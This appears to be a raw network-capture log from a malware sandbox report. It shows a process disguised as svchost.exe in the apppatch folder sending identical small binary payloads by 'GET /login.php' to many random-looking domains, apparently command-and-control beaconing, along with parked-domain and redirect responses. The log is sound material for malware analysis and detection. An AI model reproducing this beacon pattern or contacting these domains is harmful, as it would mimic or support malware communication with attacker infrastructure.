                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          Location: //ww6.galyqaz.com
                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          46192.168.2.5595353.94.10.34805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.553793907 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.027920008 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431414|1724431332|41|2|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          47192.168.2.55953644.221.84.105805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.556453943 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.057529926 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431414|1724431332|41|2|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          48192.168.2.559537208.100.26.245805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.559590101 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.062794924 CEST744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.063641071 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.179580927 CEST744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          49192.168.2.55953869.162.80.57805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.577023029 CEST318OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyfyj.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.111985922 CEST772INHTTP/1.1 200 OK
                                                                                                                                                                                                          accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile
                                                                                                                                                                                                          cache-control: max-age=0, private, must-revalidate
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          content-length: 481
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          server: nginx
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 6c 79 73 79 66 79 6a 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 63 68 3d 31 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 63 79 4e 44 51 7a 4f 44 59 78 4e 53 77 69 61 57 46 30 49 6a 6f 78 4e 7a 49 30 4e 44 4d 78 4e 44 45 31 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 64 6d 34 32 61 57 59 79 5a 47 68 6b 5a 32 56 6a 61 32 4a 68 61 44 41 77 59 57 6c 6c 63 57 49 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 33 4d 6a 51 30 4d 7a 45 30 4d 54 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTcyNDQzODYxNSwiaWF0IjoxNzI0NDMxNDE1LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIydm42aWYyZGhkZ2Vja2JhaDAwYWllcWIiLCJuYmYiOjE3MjQ0MzE0MTUsInRzIjoxNzI0NDMxNDE1MDQ5MzMyfQ.q8fyeqWKtqXvR-jaXmTefGHIiCV3QgvJddvdNB6D9oo&sid=a5fae49c-616e-11ef-add0-e1f04491a098');</script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          50192.168.2.55954091.195.240.19805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.109915018 CEST277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: www.gahyqah.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779875994 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==
                                                                                                                                                                                                          last-modified: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-89b87dbbb-2rptz
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com&nbsp;-&nbsp;gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From ge
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779906988 CEST1236INData Raw: 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c 6c
                                                                                                                                                                                                          Data Ascii: neral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link 1062 rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sed
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779925108 CEST1236INData Raw: 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78
                                                                                                                                                                                                          Data Ascii: {border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779942036 CEST1236INData Raw: 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 61 6e
                                                                                                                                                                                                          Data Ascii: t-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779958963 CEST1236INData Raw: 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 20 61 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72
                                                                                                                                                                                                          Data Ascii: ntainer-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779982090 CEST1120INData Raw: 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 7b 70 6f 73 69 74
                                                                                                                                                                                                          Data Ascii: font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:c
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.779999018 CEST1236INData Raw: 62 32 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 78 2d 6c 61 72 67 65 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 2d 73 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d
                                                                                                                                                                                                          Data Ascii: b2c;color:#fff;font-size:x-large}.btn--success-sm{background-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{back
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.780015945 CEST1236INData Raw: 69 74 63 68 5f 5f 73 6c 69 64 65 72 3a 62 65 66 6f 72 65 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36
                                                                                                                                                                                                          Data Ascii: itch__slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-b
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.780060053 CEST1236INData Raw: 65 6e 74 65 72 20 6c 65 66 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 39 34 25 20 36 34 30 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 32 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e
                                                                                                                                                                                                          Data Ascii: enter left;background-size:94% 640px;flex-grow:2;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1;top:50px;position:inherit}.container-content--lp{min-height:720px}.container-conten
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.780076027 CEST1236INData Raw: 3a 23 66 66 66 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e
                                                                                                                                                                                                          Data Ascii: :#fff}.two-tier-ads-list__list-element-link{font-size:1em;text-decoration:underline;color:#9fd801}.two-tier-ads-list__list-element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:underline}.two-tier-ads-list__list-eleme
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.784924984 CEST1236INData Raw: 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e 65 72 20 73 70 61 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 65 6c 2c
                                                                                                                                                                                                          Data Ascii: width:100%;text-align:center;margin-top:10px}.nc-container span{font-family:Ariel,sans-serif;font-size:16px;color:#888} </style><script type="text/javascript"> var dto = {"uiOptimize":false,"singleDomainName":"gahyqah.com","domain


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          51192.168.2.55954185.17.31.122805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.129010916 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          52192.168.2.559542199.59.243.226805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.568149090 CEST306OUTGET / HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww6.galyqaz.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: vsid=918vr471976932991951418
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:37.032530069 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:36 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1090
                                                                                                                                                                                                          x-request-id: 4c4d0104-a761-4b1d-b322-11c609f239c7
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QliUBPAEOEdNA6rDrNK1tfWab2TXfIKI+9TV2jRO8icV3hISskcFUN/T5x9KHqbJXu77vojtyRNSj2qEh4i50Q==
                                                                                                                                                                                                          set-cookie: parking_session=4c4d0104-a761-4b1d-b322-11c609f239c7; expires=Fri, 23 Aug 2024 16:58:36 GMT; path=/
